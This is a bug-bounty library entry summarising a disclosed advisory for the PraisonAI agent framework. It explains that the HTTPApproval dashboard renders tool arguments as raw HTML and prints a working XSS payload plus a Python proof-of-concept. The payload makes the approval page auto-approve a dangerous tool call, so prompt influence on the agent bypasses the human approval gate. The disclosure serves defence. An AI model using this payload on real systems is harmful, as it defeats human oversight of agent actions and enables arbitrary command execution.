# PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

HTTPApproval dashboard renders tool arguments unescaped, so an attacker-influenced argument injects JS that auto-approves the pending dangerous tool call.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: rexpository
- Disclosed: 2026-06-18
- CVE: CVE-2026-56840
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-63v4-w882-g4x2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-63v4-w882-g4x2
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:business-logic vuln:xss

**Target:** HTTPApproval dashboard (local HTTP approval backend)
**Root cause:** `_build_html()` in `_http_approval.py` interpolates tool_name, risk_level, agent_name, and argument keys/values into HTML via raw f-strings without escaping, so attacker-controlled tool arguments become markup/script.
**Steps:**
1. Start `HTTPApproval(host='127.0.0.1', port=<free>, timeout=5)` and submit an `ApprovalRequest` with `tool_name='execute_command'` and `arguments={'command': payload}`.
2. Payload: `touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>`
3. Fetch `http://127.0.0.1:<port>/approve/<request_id>`; confirm the raw `<script>` appears unescaped in the page.
4. The injected same-origin script POSTs `{"decision":"approve"}` to `location.pathname + '/decide'`, which `_handle_decide()` accepts and marks the request approved.
5. Observe `decision.approved == true` without any human clicking Approve.
**How found:** Code review of the approval dashboard sink: noticed `_build_html()` uses raw f-string interpolation for tool arguments and metadata, and that the page contains same-origin JS posting to `/approve/{request_id}/decide` — so injected script can call the same endpoint the Approve button uses.
**Exploitation:** Attacker influences an agent task/prompt to produce a dangerous tool call whose argument carries the XSS payload. When the human approver opens the approval URL to inspect the risky command, the script runs in the dashboard origin, derives the decide endpoint from `location.pathname`, and POSTs an approve decision, bypassing the human-in-the-loop gate. The dangerous tool then runs with the PraisonAI process's privileges.
**Escalation:** Chains prompt/task influence into arbitrary dangerous tool execution (execute_command, execute_code, delete_file) by defeating the approval safety control.
**Insight:** Approval/consent UIs are high-value XSS sinks: any attacker-influenced field rendered into the approval page can call the same-origin decision endpoint, so the unguessable request id is not a defense — the script reads it from `location.pathname`.

## Proof of concept (copied exactly from the original report)

**XSS payload injected into tool argument**

```
payload = (
    "touch /tmp/prai010 # "
    "</code><script>"
    "fetch(location.pathname+'/decide',{"
    "method:'POST',headers:{'Content-Type':'application/json'},"
    "body:'{\"decision\":\"approve\"}'})"
    "</script><code>"
)
```

**PoC script fetching approval page and posting decide**

```
async def main():
    backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
    request = ApprovalRequest(
        tool_name="execute_command",
        arguments={"command": payload},
        risk_level="critical",
        agent_name="pov-agent",
    )
    task = asyncio.create_task(backend.request_approval(request))

    request_id = ""
    for _ in range(100):
        if backend._pending:
            request_id = next(iter(backend._pending))
            break
        await asyncio.sleep(0.05)
    assert request_id

    url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            page = await response.text()
        raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
        script_not_html_escaped = "&lt;script" not in page
        payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
        payload_not_truncated = "..." not in page[
            page.find("<script>"):page.find("<script>") + len(payload) + 10
        ]
        assert raw_script_present
        assert script_not_html_escaped
        assert payload_not_truncated

        # Same request the injected same-origin script submits.
        async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
            post_body = await response.text()
```

